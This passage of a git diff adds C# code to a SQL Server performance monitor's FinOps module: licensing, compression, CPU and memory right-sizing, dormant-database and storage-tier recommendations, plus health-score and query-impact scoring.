+    /// True when the 24-hour rule's window is watched: its oldest CPU sample inside the last 24 hours is at least 23 hours old. A span from
+    /// the oldest to the newest sample over 7 days is the wrong test for a rule that reads only 24 hours: a server with two days of
+    /// samples last week and 60 minutes since a restart spans days, yet its 24-hour window holds one hour.
+    /// </summary>
+    public static bool Cpu24HourWindowWatched(DateTime? oldestSampleInWindowUtc, DateTime nowUtc) =>
+        oldestSampleInWindowUtc is DateTime oldest && nowUtc - oldest >= Cpu24HourRuleMinOldestAge;
+
+    /// <summary>
+    /// True when the prescriptive CPU row (the VM right-sizing one) replaces the compute row (the utilization one) or stands alone: it
+    /// does when no compute row exists (<paramref name="computeTargetCores"/> null) or when it keeps MORE cores than that row. At a
+    /// tie the compute row ("CPU over-provisioned") stays. One CPU right-sizing row per server, never two with savings that add up.
+    /// </summary>
+    public static bool PrescriptiveCpuRowWins(int? computeTargetCores, int prescriptiveTargetCores) =>
+        computeTargetCores is not int compute || prescriptiveTargetCores > compute;
+
+    /// <summary>The cores the compute row (<see cref="CpuRightSizing"/>) advises, or null when it advises nothing for this row.</summary>
+    public static int? CpuRightSizingTargetCores(UtilizationEfficiencyDto? util)
+    {
+        if (util == null || !FinOpsUtilizationFigures.HasCpuSample(util) || util.P95CpuPct >= 30 || util.CpuCount <= 4
+            || util.ProvisioningStatus == ProvisioningVerdict.NotApplicable)
+            return null;
+        return Math.Max(4, (int)(util.CpuCount * (util.P95CpuPct / 70m)));
+    }
+
+    /// <summary>The cores the prescriptive CPU row (<see cref="VmRightSizing"/>) advises, or null when it advises nothing.</summary>
+    public static int? VmCpuTargetCores(decimal p95Cpu7d, int cpuCount)
+    {
+        if (cpuCount < 4) return null;
+        int targetCores = 0;
+        if (p95Cpu7d < 15)
+            targetCores = Math.Max(2, cpuCount / 4);
+        else if (p95Cpu7d < 30)
+            targetCores = Math.Max(2, cpuCount / 2);
+        return targetCores > 0 && targetCores < cpuCount ? targetCores : null;
+    }
+
+    /// <summary>
+    /// Builds the Edition / license audit recommendations from the collected facts (check 1 + Lite's check 10
+    /// license-cost math). Returns an empty list for non-Enterprise editions. The full Enterprise branching is
+    /// ported verbatim from Lite — 2019+ (TDE moved to Standard) vs pre-2019 (TDE is the last Enterprise-only
+    /// blocker, read from <paramref name="tdeDbNames"/>), the 40%-of-budget downgrade estimate, and the
+    /// $5,000/core/year list-price core math — INCLUDING the AG-aware branches driven by the collected
+    /// <paramref name="agReplicaRole"/> + <paramref name="isHadrEnabled"/>: the Availability-Group secondary-replica
+    /// branch (a downgrade decision belongs to the whole group, evaluated on the primary — no savings estimate), the
+    /// advanced-AG Basic-AG-limitation downgrade caveat, and the AG-driven confidence downgrades. Lite gates the
+    /// caveat/confidence on <c>GetAdvancedAgCountAsync() &gt; 0</c> (the non-basic <c>sys.availability_groups</c>
+    /// count, which Darling does not collect); on an Enterprise instance a hosted AG (role = <c>Primary</c>) is
+    /// effectively always advanced — Basic AGs are Standard-only — so the collected primary role + HADR flag is the
+    /// faithful stand-in. Standalone / feature-off keeps the standalone confidence and adds no caveat.
+    /// </summary>
+    public static List<FinOpsRecommendation> EditionAudit(
+        string edition,
+        int majorVersion,
+        int cpuCount,
+        IReadOnlyList<string> tdeDbNames,
+        decimal monthlyCost,
+        string agReplicaRole,
+        bool isHadrEnabled)
+    {
+        var recommendations = new List<FinOpsRecommendation>();
+
+        if (!EditionNeedsLicensingAdvice(edition))
+        {
+            return recommendations;
+        }
+
+        var agRole = string.IsNullOrWhiteSpace(agReplicaRole) ? "Standalone" : agReplicaRole.Trim();
+        var isSecondary = string.Equals(agRole, "Secondary", StringComparison.OrdinalIgnoreCase);
+
+        /* Lite computes advancedAgCount = GetAdvancedAgCountAsync() (COUNT of sys.availability_groups WHERE
+           basic_features = 0) and skips the probe on a secondary. Darling's collected stand-in: an Enterprise
+           instance acting as an AG PRIMARY with Always On enabled — a Basic AG is a Standard-Edition-only feature,
+           so an Enterprise-hosted AG is effectively always advanced. Secondary gets its own branch below (Lite
+           forces advancedAgCount = 0 there); Standalone / feature-off => no caveat, no confidence downgrade. */
+        var hasAdvancedAg = !isSecondary
+            && string.Equals(agRole, "Primary", StringComparison.OrdinalIgnoreCase)
+            && isHadrEnabled;
+
+        /* Standard Edition offers only Basic Availability Groups, so caveat any edition-downgrade guidance when this
+           instance hosts an (advanced) AG: a downgrade would force the workload onto Basic AG limitations (#1085).
+           Lite names the advanced-AG count; Darling has only the collected role, so it names the primary replica. */
+        var agDowngradeCaveat = hasAdvancedAg
+            ? " Note: this instance is the primary replica of an Always On Availability Group. Standard Edition " +
+              "supports only Basic Availability Groups, which are limited to two replicas, a single database per " +
+              "group, and provide no readable secondary or backups on the secondary " +
+              "(see https://learn.microsoft.com/en-us/sql/database-engine/availability-groups/windows/basic-availability-groups-always-on-availability-groups#limitations). " +
+              "Factor this into any downgrade decision."
+            : "";
+
+        if (isSecondary)
+        {
+            /* On an Availability Group secondary, a "downgrade to Standard to save money" recommendation is
+               misleading: every replica in an AG must run the same SQL Server edition, so the decision belongs to
+               the AG as a whole and must be evaluated on the primary. Emit an informational note instead and skip
+               the savings estimates (#980). */
+            recommendations.Add(new FinOpsRecommendation
+            {
+                Category = "Licensing",
+                Severity = "Low",
+                Confidence = "High",
+                Finding = "Enterprise Edition — Availability Group secondary replica",
+                Detail = "This instance is currently a secondary replica in an Availability Group. " +
+                         "Every replica in an AG must run the same SQL Server edition, so edition and " +
+                         "licensing decisions apply to the whole group and should be evaluated on the " +
+                         "primary replica. A secondary used only for failover may also be covered by " +
+                         "Software Assurance rather than separately licensed."
+            });
+        }
+        // SQL Server 2019 (major version 15) moved TDE to Standard Edition, so on 2019+ we give
+        // version-appropriate guidance rather than a TDE-specific check.
+        else if (majorVersion >= 15)
+        {
+            recommendations.Add(new FinOpsRecommendation
+            {
+                Category = "Licensing",
+                Severity = "High",
+                Confidence = hasAdvancedAg ? "Low" : "Medium",
+                Finding = "Enterprise Edition may not be required",
+                Detail = "Starting with SQL Server 2019, most previously Enterprise-only features " +
+                         "(including TDE, compression, partitioning, and columnstore) are available " +
+                         "in Standard Edition. Review whether remaining Enterprise-only features " +
+                         "(such as Always On availability groups with multiple secondaries) are in use " +
+                         "before considering a downgrade to Standard Edition." + agDowngradeCaveat,
+                EstMonthlySavings = monthlyCost > 0 ? monthlyCost * 0.40m : null
+            });
+        }
+        else if (tdeDbNames.Count == 0)
+        {
+            // Pre-2019: TDE is the only commonly-used feature still restricted to Enterprise since 2016 SP1.
+            recommendations.Add(new FinOpsRecommendation
+            {
+                Category = "Licensing",
+                Severity = "High",
+                Confidence = hasAdvancedAg ? "Medium" : "High",
+                Finding = hasAdvancedAg
+                    ? "Enterprise Edition — review Availability Group requirements before downgrading"
+                    : "Enterprise Edition with no Enterprise-only features detected",
+                Detail = "No databases use Transparent Data Encryption (TDE), the only feature " +
+                         "still restricted to Enterprise Edition since SQL Server 2016 SP1. " +
+                         "Review whether Standard Edition would meet workload requirements for potential license savings." +
+                         agDowngradeCaveat,
+                EstMonthlySavings = monthlyCost > 0 ? monthlyCost * 0.40m : null
+            });
+        }
+        else
+        {
+            recommendations.Add(new FinOpsRecommendation
+            {
+                Category = "Licensing",
+                Severity = "Low",
+                Confidence = "High",
+                Finding = "TDE in use — Enterprise Edition downgrade blocker",
+                Detail = $"The following databases use Transparent Data Encryption: {string.Join(", ", tdeDbNames.Take(20))}" +
+                         (tdeDbNames.Count > 20 ? $" and {tdeDbNames.Count - 20} more" : "") +
+                         ". TDE must be removed before downgrading to Standard Edition."
+            });
+
+            // Check 10: license cost impact estimate (only when features ARE in use).
+            if (cpuCount > 0)
+            {
+                var monthlySavings = cpuCount * 5000m / 12m;
+                recommendations.Add(new FinOpsRecommendation
+                {
+                    Category = "Licensing",
+                    Severity = "Low",
+                    Confidence = "Low",
+                    Finding = $"Enterprise to Standard would save ~${monthlySavings:N0}/mo at list pricing ({cpuCount} cores)",
+                    Detail = "Based on list pricing differential of ~$5,000/core/year between Enterprise and Standard. " +
+                             "Actual savings depend on your licensing agreement. See Enterprise feature audit for downgrade blockers.",
+                    EstMonthlySavings = monthlySavings
+                });
+            }
+        }
+
+        return recommendations;
+    }
+
+    /// <summary>
+    /// Builds the Compression-candidate recommendation (check 5) from the collected per-index snapshot — the
+    /// monitor-side stand-in for Lite's live <c>sys.partitions</c> scan: uncompressed
+    /// (<c>data_compression_desc = 'NONE'</c>, which excludes columnstore) rowstore indexes / heaps whose reserved
+    /// size is at least 1 GB. Returns null when none qualify. Severity/wording ported verbatim from Lite.
+    /// </summary>
+    public static FinOpsRecommendation? Compression(IEnumerable<IndexCleanupIndexInput> indexes)
+    {
+        var candidates = indexes
+            .Where(i => string.Equals(i.DataCompressionDesc, "NONE", StringComparison.OrdinalIgnoreCase)
+                && (i.ReservedMb ?? 0m) >= 1024m)
+            .OrderByDescending(i => i.ReservedMb ?? 0m)
+            .ToList();
+
+        if (candidates.Count == 0)
+        {
+            return null;
+        }
+
+        var totalGb = candidates.Sum(c => c.ReservedMb ?? 0m) / 1024m;
+        var topItems = candidates.Take(5)
+            .Select(c => $"{c.SchemaName}.{c.TableName} ({(c.ReservedMb ?? 0m) / 1024m:N1}GB)")
+            .ToList();
+
+        return new FinOpsRecommendation
+        {
+            Category = "Storage",
+            Severity = totalGb > 50 ? "High" : totalGb > 10 ? "Medium" : "Low",
+            Confidence = "High",
+            Finding = $"{candidates.Count} uncompressed object(s) >= 1GB ({totalGb:N1}GB total)",
+            Detail = $"Large uncompressed tables/indexes: {string.Join("; ", topItems)}" +
+                     (candidates.Count > 5 ? $" and {candidates.Count - 5} more" : "") +
+                     ". Consider PAGE or ROW compression to reduce storage and improve I/O."
+        };
+    }
+
+    /// <summary>
+    /// The CPU right-sizing recommendation for one utilization row, or <c>null</c> when it has nothing to say. A window with no CPU
+    /// sample reads a P95 of 0, which is "idle" only because nothing was measured. The utilization row gives that window no verdict
+    /// (<c>HasCpuSample</c> is false), and the advice follows it. The count the text prints is the vCores the service objective
+    /// gives an Azure SQL Database, so there it is named "vCores", as the utilization card names it; on every other edition it
+    /// is the CPU count and the word stays "cores". Lite's recommendation reads the same rule.
+    /// </summary>
+    public static FinOpsRecommendation? CpuRightSizing(UtilizationEfficiencyDto? util, decimal monthlyCost)
+    {
+        if (util == null || CpuRightSizingTargetCores(util) is not int targetCores)
+            return null;
+
+        var savingsPct = 1m - ((decimal)targetCores / util.CpuCount);
+        var cpuNoun = ServerHardwareScope.CpuCoreNoun(util.EngineEdition);
+        return new FinOpsRecommendation
+        {
+            Category = "Compute",
+            Severity = util.P95CpuPct < 15 ? "High" : "Medium",
+            Confidence = "Medium",
+            Finding = $"CPU over-provisioned ({util.CpuCount} {cpuNoun}, P95 = {util.P95CpuPct:N1}%)",
+            Detail = $"P95 CPU utilization is {util.P95CpuPct:N1}% (avg {util.AvgCpuPct:N1}%, max {util.MaxCpuPct}%) across {util.CpuCount} {cpuNoun}. " +
+                     $"Consider reducing to ~{targetCores} {cpuNoun}.",
+            EstMonthlySavings = monthlyCost > 0 ? monthlyCost * savingsPct * 0.60m : null
+        };
+    }
+
+    /// <summary>The memory right-sizing advice: the 7-day P95 SQL Server memory against the physical RAM, or null when there are too few samples or the memory is already close to its use. The caller gates out an Azure SQL Database and a host of 8 GB or less.</summary>
+    public static FinOpsRecommendation? MemoryRightSizing(UtilizationEfficiencyDto util, int p95Mb, long sampleCount, string window, decimal monthlyCost)
+    {
+        // Need ~16 samples to smooth a single-point anomaly without delaying the recommendation for hours.
+        if (sampleCount >= 16)
+        {
+            var memRatio = (decimal)p95Mb / util.PhysicalMemoryMb;
+            var targetMb = Math.Max(8192, p95Mb * 2);
+            // Compared in the whole GB the text prints, so the advice never reads "of 8GB RAM ... reducing to ~8GB".
+            if (memRatio < 0.50m && targetMb / 1024 < util.PhysicalMemoryMb / 1024)
+            {
+                return new FinOpsRecommendation
+                {
+                    Category = "Memory",
+                    Severity = memRatio < 0.30m ? "High" : "Medium",
+                    Confidence = "Medium",
+                    Finding = $"Memory over-provisioned (P95 SQL memory uses {memRatio:P0} of {util.PhysicalMemoryMb / 1024}GB RAM)",
+                    Detail = $"P95 SQL Server memory from {window} is {p95Mb:N0} MB out of {util.PhysicalMemoryMb:N0} MB physical RAM ({memRatio:P0} utilization). " +
+                             $"Consider reducing to ~{targetMb / 1024}GB.",
+                    EstMonthlySavings = monthlyCost > 0 ? monthlyCost * (1m - (decimal)targetMb / util.PhysicalMemoryMb) * 0.30m : null
+                };
+            }
+        }
+        return null;
+    }
+
+    /// <summary>The VM right-sizing advice: up to two rows, one for the cores and one for the memory, each only when its own prescription qualifies.</summary>
+    public static List<FinOpsRecommendation> VmRightSizing(decimal p95Cpu7d, string cpuWindow, int cpuCount, int physMb,
+        int p95MemMb, long memSampleCount, string memWindow, decimal monthlyCost, bool includeCpuRow = true)
+    {
+        var recommendations = new List<FinOpsRecommendation>();
+        // CPU prescription: only if >= 4 cores. includeCpuRow is false when the compute row (or too short a window) already settled the CPU advice.
+        if (includeCpuRow && VmCpuTargetCores(p95Cpu7d, cpuCount) is int targetCores)
+        {
+            recommendations.Add(new FinOpsRecommendation
+            {
+                Category = "Hardware",
+                Severity = "Medium",
+                Confidence = "Medium",
+                Finding = $"CPU: reduce from {cpuCount} to {targetCores} cores (P95 CPU {p95Cpu7d:N1}%)",
+                Detail = $"From {cpuWindow}, P95 CPU utilization was {p95Cpu7d:N1}%. " +
+                         $"Current allocation of {cpuCount} cores can safely be reduced to {targetCores} cores.",
+                EstMonthlySavings = monthlyCost > 0
+                    ? monthlyCost * (1m - (decimal)targetCores / cpuCount) * 0.50m
+                    : null
+            });
+        }
+
+        // Memory prescription: needs >= 4 GB physical and a handful of samples.
+        if (physMb >= 4096 && physMb > 0 && memSampleCount >= 16)
+        {
+            var memRatio = (decimal)p95MemMb / physMb;
+            int targetMb = 0;
+            if (memRatio < 0.25m)
+                targetMb = Math.Max(4096, physMb / 4);
+            else if (memRatio < 0.40m)
+                targetMb = Math.Max(4096, physMb / 2);
+
+            if (targetMb > 0 && targetMb / 1024 < physMb / 1024)
+            {
+                recommendations.Add(new FinOpsRecommendation
+                {
+                    Category = "Hardware",
+                    Severity = "Medium",
+                    Confidence = "Medium",
+                    Finding = $"Memory: reduce from {physMb / 1024}GB to {targetMb / 1024}GB (P95 SQL memory uses {memRatio:P0})",
+                    Detail = $"P95 SQL Server memory from {memWindow} is {p95MemMb:N0} MB of {physMb:N0} MB physical RAM ({memRatio:P0}). " +
+                             $"Reducing to {targetMb / 1024}GB would still leave headroom.",
+                    EstMonthlySavings = monthlyCost > 0
+                        ? monthlyCost * (1m - (decimal)targetMb / physMb) * 0.30m
+                        : null
+                });
+            }
+        }
+        return recommendations;
+    }
+
+    /// <summary>The reserved-capacity advice for a stable CPU: an average above 20 with a variation under 0.3, or null.</summary>
+    public static FinOpsRecommendation? ReservedCapacity(decimal avgCpu, decimal stddevCpu)
+    {
+        if (avgCpu > 20 && stddevCpu > 0)
+        {
+            var cv = stddevCpu / avgCpu;
+            if (cv < 0.3m)
+            {
+                var confidence = cv < 0.15m ? "High" : "Medium";
+                return new FinOpsRecommendation
+                {
+                    Category = "Cloud",
+                    Severity = "Low",
+                    Confidence = confidence,
+                    Finding = $"Stable CPU utilization (avg {avgCpu:N1}%, CV {cv:N2}) — reserved capacity candidate",
+                    Detail = $"CPU utilization is consistently {avgCpu:N1}% with low variance (±{stddevCpu:N1}%). " +
+                             "Reserved pricing typically saves 30-40% over pay-as-you-go for predictable workloads."
+                };
+            }
+        }
+        return null;
+    }
+
+    /// <summary>The dormant-database advice: the idle databases with their combined size, and the share of the monthly cost when the allocated total is known (0 means no share), or null when none is idle.</summary>
+    public static FinOpsRecommendation? Dormant(IReadOnlyList<(string DatabaseName, decimal TotalSizeMb)> idleDbs, decimal allocatedTotalMb, decimal monthlyCost)
+    {
+        if (idleDbs.Count > 0)
+        {
+            var totalSizeGb = idleDbs.Sum(d => d.TotalSizeMb) / 1024m;
+            var dbNames = string.Join(", ", idleDbs.Take(5).Select(d => d.DatabaseName));
+            var costShare = 0m;
+            if (monthlyCost > 0)
+            {
+                var totalMb = allocatedTotalMb;
+                if (totalMb > 0)
+                    costShare = (idleDbs.Sum(d => d.TotalSizeMb) / totalMb) * monthlyCost;
+            }
+
+            return new FinOpsRecommendation
+            {
+                Category = "Databases",
+                Severity = idleDbs.Count >= 3 ? "High" : "Medium",
+                Confidence = "High",
+                Finding = $"{idleDbs.Count} idle database(s) consuming {totalSizeGb:N1}GB",
+                Detail = $"No query activity in 7 days: {dbNames}" +
+                         (idleDbs.Count > 5 ? $" and {idleDbs.Count - 5} more" : "") +
+                         ". Consider archiving or removing these databases.",
+                EstMonthlySavings = costShare > 0 ? costShare : null
+            };
+        }
+        return null;
+    }
+
+    /// <summary>The dev/test advice for the database names that match a dev or test pattern, or null when none do.</summary>
+    public static FinOpsRecommendation? DevTest(IReadOnlyList<string> devDbs)
+    {
+        if (devDbs.Count > 0)
+        {
+            return new FinOpsRecommendation
+            {
+                Category = "Environment",
+                Severity = "Medium",
+                Confidence = "Low",
+                Finding = $"{devDbs.Count} possible dev/test database(s) on production server",
+                Detail = $"Databases matching dev/test patterns: {string.Join(", ", devDbs.Take(10))}" +
+                         (devDbs.Count > 10 ? $" and {devDbs.Count - 10} more" : "") +
+                         ". If these are non-production workloads, consider moving to a lower-cost tier or separate server."
+            };
+        }
+        return null;
+    }
+
+    /// <summary>The maintenance-window advice for one job that ran long.</summary>
+    public static FinOpsRecommendation MaintenanceJob(MaintenanceJobRun run)
+    {
+        var jobName = run.JobName;
+        var avgDuration = run.AvgDurationSeconds;
+        var maxDuration = run.MaxDurationSeconds;
+        var avgHistorical = run.AvgHistoricalSeconds;
+        var timesLong = run.TimesRanLong;
+        return new FinOpsRecommendation
+        {
+            Category = "Maintenance",
+            Severity = timesLong >= 5 ? "Medium" : "Low",
+            Confidence = "High",
+            Finding = $"{jobName} ran long {timesLong} times in 7 days",
+            Detail = $"Average duration: {FormatDuration(avgDuration)}, max: {FormatDuration(maxDuration)}, " +
+                     $"historical average: {FormatDuration(avgHistorical)}. " +
+                     "Review whether this job's schedule or operations need tuning."
+        };
+    }
+
+    /// <summary>The storage-tier advice for the databases whose average read latency is under 5 ms and write latency under 3 ms, or null when none qualify. The window and sample totals cover the qualifying databases only.</summary>
+    public static FinOpsRecommendation? StorageTier(IEnumerable<StorageTierIo> rows)
+    {
+        var lowLatencyDbs = new List<(string Name, decimal AvgReadMs, decimal AvgWriteMs)>();
+        var storageMin = DateTime.MaxValue;
+        var storageMax = DateTime.MinValue;
+        long storageSamples = 0;
+
+        foreach (var row in rows)
+        {
+            var dbName = row.DatabaseName;
+            var totalReads = row.TotalReads;
+            var totalStallRead = row.TotalStallReadMs;
+            var totalWrites = row.TotalWrites;
+            var totalStallWrite = row.TotalStallWriteMs;
+
+            var avgReadMs = totalReads > 0 ? (decimal)totalStallRead / totalReads : 0m;
+            var avgWriteMs = totalWrites > 0 ? (decimal)totalStallWrite / totalWrites : 0m;
+
+            if (avgReadMs < 5m && avgWriteMs < 3m)
+            {
+                lowLatencyDbs.Add((dbName, avgReadMs, avgWriteMs));
+                storageSamples += row.WindowSamples;
+                if (row.FirstSample.HasValue && row.LastSample.HasValue)
+                {
+                    storageMin = row.FirstSample.Value < storageMin ? row.FirstSample.Value : storageMin;
+                    storageMax = row.LastSample.Value > storageMax ? row.LastSample.Value : storageMax;
+                }
+            }
+        }
+
+        if (lowLatencyDbs.Count > 0)
+        {
+            var storageWindow = RightSizingWindow.Describe(storageSamples, storageMax > storageMin ? storageMax - storageMin : TimeSpan.Zero);
+            var detail = string.Join("; ", lowLatencyDbs.Take(10)
+                .Select(d => $"{d.Name} (read {d.AvgReadMs:N1}ms, write {d.AvgWriteMs:N1}ms)"));
+            return new FinOpsRecommendation
+            {
+                Category = "Storage",
+                Severity = "Low",
+                Confidence = "Medium",
+                Finding = $"{lowLatencyDbs.Count} database(s) with low IO latency — standard storage may suffice",
+                Detail = $"These databases have avg read latency under 5ms and write under 3ms across {storageWindow}: {detail}" +
+                         (lowLatencyDbs.Count > 10 ? $" and {lowLatencyDbs.Count - 10} more" : "") +
+                         ". Premium/high-performance storage may not be needed."
+            };
+        }
+        return null;
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Storage/FinOps/FinOpsRollupRouting.cs b/Darling/PerformanceMonitor.Darling.Storage/FinOps/FinOpsRollupRouting.cs
new file mode 100644
index 0000000000..c82066b80c
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/FinOps/FinOpsRollupRouting.cs
@@ -0,0 +1,31 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+
+namespace PerformanceMonitor.Darling.Storage.FinOps;
+
+/// <summary>
+/// The substitution the FinOps readers use to swap a raw-table fragment for its rollup form. It throws when the
+/// fragment is not found: a raw fragment that has drifted from the SQL must fail loudly rather than leave the
+/// panel quietly reading the raw tier (#1661).
+/// </summary>
+internal static class FinOpsRollupRouting
+{
+    internal static string RouteOrThrow(string sql, string from, string to, string what)
+    {
+        var routed = sql.Replace(from, to, StringComparison.Ordinal);
+        if (string.Equals(routed, sql, StringComparison.Ordinal))
+        {
+            throw new InvalidOperationException(
+                $"FinOps {what} CAGG routing found nothing to replace — its raw fragment has drifted from the SQL (#1661).");
+        }
+
+        return routed;
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Storage/FinOps/FinOpsScoring.cs b/Darling/PerformanceMonitor.Darling.Storage/FinOps/FinOpsScoring.cs
new file mode 100644
index 0000000000..32729d23d6
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/FinOps/FinOpsScoring.cs
@@ -0,0 +1,141 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+
+namespace PerformanceMonitor.Darling.Storage.FinOps;
+
+/// <summary>Pure health-score math (Utilization + Server Inventory). Copied verbatim from Lite.</summary>
+public static class FinOpsHealthCalculator
+{
+    public static int CpuScore(decimal p95Pct)
+    {
+        if (p95Pct <= 70) return (int)(100 - p95Pct * 50 / 70);
+        return (int)Math.Max(0, 50 - (p95Pct - 70) * 50 / 30);
+    }
+
+    public static int MemoryScore(decimal bufferPoolRatio)
+    {
+        if (bufferPoolRatio <= 0.30m) return 60;
+        if (bufferPoolRatio <= 0.85m) return 100;
+        if (bufferPoolRatio <= 0.95m) return (int)(100 - (bufferPoolRatio - 0.85m) * 800);
+        return (int)Math.Max(0, 20 - (bufferPoolRatio - 0.95m) * 400);
+    }
+
+    public static int StorageScore(decimal freeSpacePct)
+    {
+        if (freeSpacePct >= 30) return 100;
+        if (freeSpacePct >= 10) return (int)(50 + (freeSpacePct - 10) * 2.5m);
+        return (int)(freeSpacePct * 5);
+    }
+
+    /// <summary>
+    /// The overall score: CPU 40%, memory 30%, storage 30%. A null <paramref name="cpu"/> means the window held no CPU
+    /// sample: there is nothing to score, and scoring the 0 it reads as would be a full 100 made from nothing. The term is
+    /// then left out, not scored as zero and not scored as a default, and memory and storage keep their weights over their
+    /// own total (30:30 over 60).
+    /// </summary>
+    public static int Overall(int? cpu, int memory, int storage)
+    {
+        if (cpu is int cpuScore)
+            return (int)(cpuScore * 0.40 + memory * 0.30 + storage * 0.30);
+
+        /* integer weights, so no floating-point error can truncate 100 to 99 */
+        return (memory * 30 + storage * 30) / 60;
+    }
+
+    /// <summary>The badge color of a health score that does not exist (no CPU sample in the window).</summary>
+    public const string NoScoreColor = "#7F8C8D";
+
+    /// <summary>The tooltip on the dash shown in place of a health score when the last 24 hours hold no CPU sample.</summary>
+    public const string NoScoreNote = "No health score: the last 24 hours hold no CPU sample.";
+    /// <summary>The tooltip on the dash shown in place of a health score on the Server Inventory. That score is null for two reasons: the last 24 hours hold no
+    /// CPU sample, or no memory sample has been collected (memory_stats off in the schedule, or not yet run on a new server). The row does not say which,
+    /// so the note names both. The Utilization view keeps <see cref="NoScoreNote"/>: it has no row at all without a memory sample.</summary>
+    public const string NoInventoryScoreNote = "No health score: the last 24 hours hold no CPU sample, or no memory sample has been collected.";
+
+    public static string ScoreColor(int score) => score switch
+    {
+        >= 80 => "#27AE60",
+        >= 60 => "#F39C12",
+        _ => "#E74C3C"
+    };
+}
+
+/// <summary>
+/// Identifies top-N queries per resource dimension, computes PERCENT_RANK and share percentages, and
+/// returns the "interesting" set sorted by impact score. Copied verbatim from Lite's HighImpactScorer.
+/// </summary>
+public static class HighImpactScorer
+{
+    /// <summary>The band for an impact score: high at 80 or more, medium at 60 or more, else low. These are the
+    /// cut points the desktop viewer colors the score by.</summary>
+    public static string HighImpactBand(int score) => score >= 80 ? "high" : score >= 60 ? "medium" : "low";
+
+    public static List<HighImpactQuery> Score(List<HighImpactQuery> allRows, int topN = 10)
+    {
+        if (allRows.Count == 0) return allRows;
+
+        var interesting = new HashSet<string>();
+        foreach (var hash in allRows.OrderByDescending(r => r.TotalCpuMs).Take(topN).Select(r => r.QueryHash)) interesting.Add(hash);
+        foreach (var hash in allRows.OrderByDescending(r => r.TotalDurationMs).Take(topN).Select(r => r.QueryHash)) interesting.Add(hash);
+        foreach (var hash in allRows.OrderByDescending(r => r.TotalReads).Take(topN).Select(r => r.QueryHash)) interesting.Add(hash);
+        foreach (var hash in allRows.OrderByDescending(r => r.TotalWrites).Take(topN).Select(r => r.QueryHash)) interesting.Add(hash);
+        foreach (var hash in allRows.OrderByDescending(r => r.TotalMemoryMb).Take(topN).Select(r => r.QueryHash)) interesting.Add(hash);
+        foreach (var hash in allRows.OrderByDescending(r => r.TotalExecutions).Take(topN).Select(r => r.QueryHash)) interesting.Add(hash);
+
+        var filtered = allRows.Where(r => interesting.Contains(r.QueryHash)).ToList();
+
+        if (filtered.Count == 0) return filtered;
+
+        var cpuValues = filtered.Select(r => r.TotalCpuMs).OrderBy(v => v).ToList();
+        var durationValues = filtered.Select(r => r.TotalDurationMs).OrderBy(v => v).ToList();
+        var readsValues = filtered.Select(r => (decimal)r.TotalReads).OrderBy(v => v).ToList();
+        var writesValues = filtered.Select(r => (decimal)r.TotalWrites).OrderBy(v => v).ToList();
+        var memoryValues = filtered.Select(r => r.TotalMemoryMb).OrderBy(v => v).ToList();
+        var execValues = filtered.Select(r => (decimal)r.TotalExecutions).OrderBy(v => v).ToList();
+
+        var totalCpu = filtered.Sum(r => r.TotalCpuMs);
+        var totalDuration = filtered.Sum(r => r.TotalDurationMs);
+        var totalReads = filtered.Sum(r => (decimal)r.TotalReads);
+        var totalWrites = filtered.Sum(r => (decimal)r.TotalWrites);
+        var totalMemory = filtered.Sum(r => r.TotalMemoryMb);
+        var totalExecs = filtered.Sum(r => (decimal)r.TotalExecutions);
+
+        foreach (var row in filtered)
+        {
+            var cpuPctl = PercentRank(cpuValues, row.TotalCpuMs);
+            var durationPctl = PercentRank(durationValues, row.TotalDurationMs);
+            var readsPctl = PercentRank(readsValues, (decimal)row.TotalReads);
+            var writesPctl = PercentRank(writesValues, (decimal)row.TotalWrites);
+            var memoryPctl = PercentRank(memoryValues, row.TotalMemoryMb);
+            var execsPctl = PercentRank(execValues, (decimal)row.TotalExecutions);
+
+            row.CpuShare = totalCpu > 0 ? Math.Round(100m * row.TotalCpuMs / totalCpu, 1) : 0;
+            row.DurationShare = totalDuration > 0 ? Math.Round(100m * row.TotalDurationMs / totalDuration, 1) : 0;
+            row.ReadsShare = totalReads > 0 ? Math.Round(100m * row.TotalReads / totalReads, 1) : 0;
+            row.WritesShare = totalWrites > 0 ? Math.Round(100m * row.TotalWrites / totalWrites, 1) : 0;
+            row.MemoryShare = totalMemory > 0 ? Math.Round(100m * row.TotalMemoryMb / totalMemory, 1) : 0;
+            row.ExecutionsShare = totalExecs > 0 ? Math.Round(100m * row.TotalExecutions / totalExecs, 1) : 0;
+
+            var pctlSum = cpuPctl + durationPctl + readsPctl + writesPctl + memoryPctl + execsPctl;
+            row.ImpactScore = (int)(pctlSum / 6m * 100m);
+        }
+
+        return filtered.OrderByDescending(r => r.ImpactScore).ToList();
+    }
+
+    internal static decimal PercentRank(List<decimal> sortedValues, decimal value)
+    {
+        if (sortedValues.Count <= 1) return 0;
+        int rank = sortedValues.Count(v => v < value);
+        return Math.Min(1.0m, (decimal)rank / (sortedValues.Count - 1));
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Storage/FinOps/FinOpsUtilizationFigures.cs b/Darling/PerformanceMonitor.Darling.Storage/FinOps/FinOpsUtilizationFigures.cs
new file mode 100644
index 0000000000..c0bdcf66b8
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/FinOps/FinOpsUtilizationFigures.cs
@@ -0,0 +1,190 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Globalization;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Common;
+
+namespace PerformanceMonitor.Darling.Storage.FinOps;
+
+/// <summary>
+/// The figures the FinOps Utilization view derives from <see cref="UtilizationEfficiencyDto"/> and the database-size
+/// totals: the stolen-memory and buffer-pool percentages, the free-space percentage, the health score and its band, and
+/// the verdict's reason text. The WPF viewer and the MCP tools both call these, so there is one copy of each rule. The
